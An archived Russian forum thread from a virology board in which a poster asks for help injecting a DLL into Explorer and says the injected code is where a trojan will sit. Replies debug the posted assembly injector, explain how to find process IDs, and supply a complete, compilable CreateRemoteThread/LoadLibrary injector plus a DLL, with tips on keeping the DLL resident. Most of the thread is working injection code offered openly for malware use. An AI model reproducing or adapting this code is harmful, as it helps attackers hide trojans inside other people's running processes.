· Начало · Статистика · WASM.RU · Noir.Ru ·

 WASM Phorum (Оффлайн - 24.11.2003) —› WASM.VIROLOGY —› RemoteThread

Посл.отвђт Сообщенiе


Дата: Июн 28, 2003 20:46:10

создаю remote thread эксплореру ,в нем вызов дллки, пишет что не найдена дллка, пробовал на винампе, все пашет.


Дата: Июн 29, 2003 00:24:19

Не ясно, что такое "вызов дллки" и есть ли уверенность, что эта дллка отмаплена в процесс эксплорера.


Дата: Июн 29, 2003 02:48:34

просто loadlibrary с указанем полного путя


Дата: Июн 29, 2003 02:49:36

просто делаю инициализацию, в которой собственно будет сидеть сам непосредственно троян


Дата: Июн 29, 2003 13:39:40

А как ты "указание полного путя" делаешь?
Если указатель на строку в твоем процессе, то работать ессно не будет. Нужно сначало скопировать путь в процесс-цель и указывать его адрес. Хотя если ты говоришь, что на винампе работает, то значит не в этом причина. Все равно, трудно что-то сказать - мало данных.


Дата: Июн 29, 2003 15:24:28

естественно что не в моем процессе, какие еще данные нужны?


Дата: Июн 29, 2003 18:19:31

Ну, как максимум исходный код ;-) Длл твоя?
Трассировал дебагером вызов LoadLibrary?
Пробовал ли другие процессы кроме винампа?


Дата: Июн 29, 2003 19:54:05

invoke GetCommandLine
mov edi,eax
xor eax,eax
mov al,20h
scasb
jnz $-1
mov path,edi
mov ebx,dword ptr [LoadLibraryA+2]
mov ebx,dword ptr [ebx]
mov ggG,ebx
mov ebx,dword ptr [ExitThread+2]
mov ebx,dword ptr [ebx]
mov bbG,ebx
mov ebx,dword ptr [GetCurrentThreadId+2]
mov ebx,dword ptr [ebx]
mov gctid,ebx




invoke CreateProcessA,0,path,0,0,0,20h,0,0,addr stinfo,addr info
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,0,3576
mov phndl,eax
invoke VirtualAllocEx,eax,0,100,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE
mov taddr,eax
invoke WriteProcessMemory,phndl,eax,addr thread,100,addr wr
invoke CreateRemoteThread,phndl,0,0,taddr,0,0,addr TID

invoke ExitProcess,0

thread proc

call delta
delta:
pop ebp
sub ebp,offset delta

mov eax,[ebp+ggG]
lea ebx,[ebp+gg]
push ebx
call eax

mov eax,[ebp+gctid]
call eax

push eax
mov eax,[ebp+bbG]
call eax



gg db "F:\WINDOWS\system32\wbem\stub.dll",0
ggG dd 0
bbG dd 0
gctid dd 0


Дата: Июн 29, 2003 19:56:29

грузиться будет споунингом, т.ч. на геткоммандлайн не обращай внимания


Дата: Июн 29, 2003 19:58:57

и еще вопрос: как можно найти пид процесса без гуи?


Дата: Июн 30, 2003 15:51:48 · Поправил: Four-F

Ну, в общем, у мя твой код работает со всеми процессами, в том числе и с эксплорером.
Зачем CreateProcessA я не понял.

Единственное, что я поправил:
invoke WriteProcessMemory, phndl, eax, addr thread, 100, addr wr

Поменял на:
lea ecx, thread

invoke WriteProcessMemory, phndl, taddr, ecx, 100, addr wr

Т.к. компилятор ругался, что переписывает eax из-за addr.
Так что хз. Ставь бряку перед самой LoadLibrary, трейси ее внутри и смотри что ей не нравится.
Больше ничего предложить не могу. Может с правами какая-нить лажа. Пробуй другие процессы.

[ Аноним: как можно найти пид процесса без гуи? ]

Три варианта:

1. Через Tool Help функции. (9x и начиная с W2000)
CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
Process32First
Process32Next

2. Через Process Status функции. (только линейка NT)
EnumProcesses

3. Через Native функции. (только линейка NT)
ZwQuerySystemInformation, SystemProcessesAndThreadsInformation,...

Может и еще какой вариант есть.

==============================================================

Есть более элегантный способ внедрения длл by Jeffrey Richter.

; EXE
.386
.model flat, stdcall
option casemap:none

;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::
; I N C L U D E F I L E S
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

include \masm32\Macros\Strings.mac

;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::
; C O D E
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::

.code

InjectDll proc dwProcessId:DWORD, pszLibFile:LPCSTR

local fOk:BOOL
local hProcess:HANDLE
local hThread:HANDLE
local pszLibFileRemote:LPSTR
local cch:UINT
local pfnLoadLibraryA:LPVOID

and fOk, FALSE ; Assume that the function fails
and hProcess, NULL
and hThread, NULL
and pszLibFileRemote, NULL

;Get a handle for the target process.
invoke OpenProcess, PROCESS_CREATE_THREAD + PROCESS_VM_OPERATION + PROCESS_VM_WRITE, \
FALSE, dwProcessId
.if eax != NULL
mov hProcess, eax

; Calculate the number of bytes needed for the DLL's pathname
invoke lstrlen, pszLibFile
inc eax
mov cch, eax

; Allocate space in the remote process for the pathname
invoke VirtualAllocEx, hProcess, NULL, cch, MEM_COMMIT, PAGE_READWRITE
.if eax != NULL
mov pszLibFileRemote, eax

; Copy the DLL's pathname to the remote process's address space
invoke WriteProcessMemory, hProcess, pszLibFileRemote, pszLibFile, cch, NULL
.if eax

; Get the real address of LoadLibraryA in Kernel32.dll
invoke GetModuleHandle, $CTA0("Kernel32")
invoke GetProcAddress, eax, $CTA0("LoadLibraryA")
.if eax != NULL
mov pfnLoadLibraryA, eax

; Create a remote thread that calls LoadLibraryW(DLLPathname)
invoke CreateRemoteThread, hProcess, NULL, 0, pfnLoadLibraryA, \
pszLibFileRemote, 0, NULL
.if eax != NULL
mov hThread, eax

; Wait for the remote thread to terminate
invoke WaitForSingleObject, hThread, INFINITE

mov fOk, TRUE ; Everything executed successfully
.endif
.endif
.endif
.endif
.endif

; Free the remote memory that contained the DLL's pathname
.if pszLibFileRemote != NULL
invoke VirtualFreeEx, hProcess, pszLibFileRemote, 0, MEM_RELEASE
.endif

.if hThread != NULL
invoke CloseHandle, hThread
.endif

.if hProcess != NULL
invoke CloseHandle, hProcess
.endif

mov eax, fOk
ret

InjectDll endp


;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::
; start
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::

start proc

local acPath[MAX_PATH]:CHAR
local dwProcessId:DWORD

push eax
invoke GetFullPathName, $CTA0("dll.dll"), sizeof acPath, addr acPath, esp
pop eax

mov dwProcessId, 304h ; <- Your target process here

invoke InjectDll, dwProcessId, addr acPath
.if eax
invoke MessageBox, NULL, $CTA0("DLL Injection/Ejection successful."), $CTA0("Success"), MB_OK
.else
invoke MessageBox, NULL, $CTA0("DLL Injection/Ejection failed."), NULL, MB_OK
.endif

invoke ExitProcess, 0

start endp

;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::
;
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::

end start



; dll.asm - DLL
.386
.model flat, stdcall
option casemap:none

;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::
; I N C L U D E F I L E S
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

include \masm32\Macros\Strings.mac

;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::
; C O D E
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::

.code

DllEntry proc hInstance:HINSTANCE, fdwReason:DWORD, reserved1:DWORD

local buffer[64]:CHAR

.if fdwReason == DLL_PROCESS_ATTACH
invoke GetCurrentProcessId
invoke wsprintf, addr buffer, $CTA0("I'm in the process with PID = %Xh"), eax
invoke MessageBox, NULL, addr buffer, $CTA0("dll.dll"), MB_OK
invoke GetModuleHandle, $CTA0("dll")
.if eax != NULL
invoke FreeLibraryAndExitThread, eax, 0
.endif
.endif

xor eax, eax
inc eax
ret

DllEntry Endp

;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::
;
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::

end DllEntry

ПИД процесса тоже захардкоден - подставишь свой.
И у бери FreeLibraryAndExitThread из длл если надо чтоб она осталась сидеть в процессе.
Все компилируется как обычно - без наворотов.
Макросы $CTA0 можно взять из KmdKit - есть на сайте. Или перепишешь как обычно.


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.070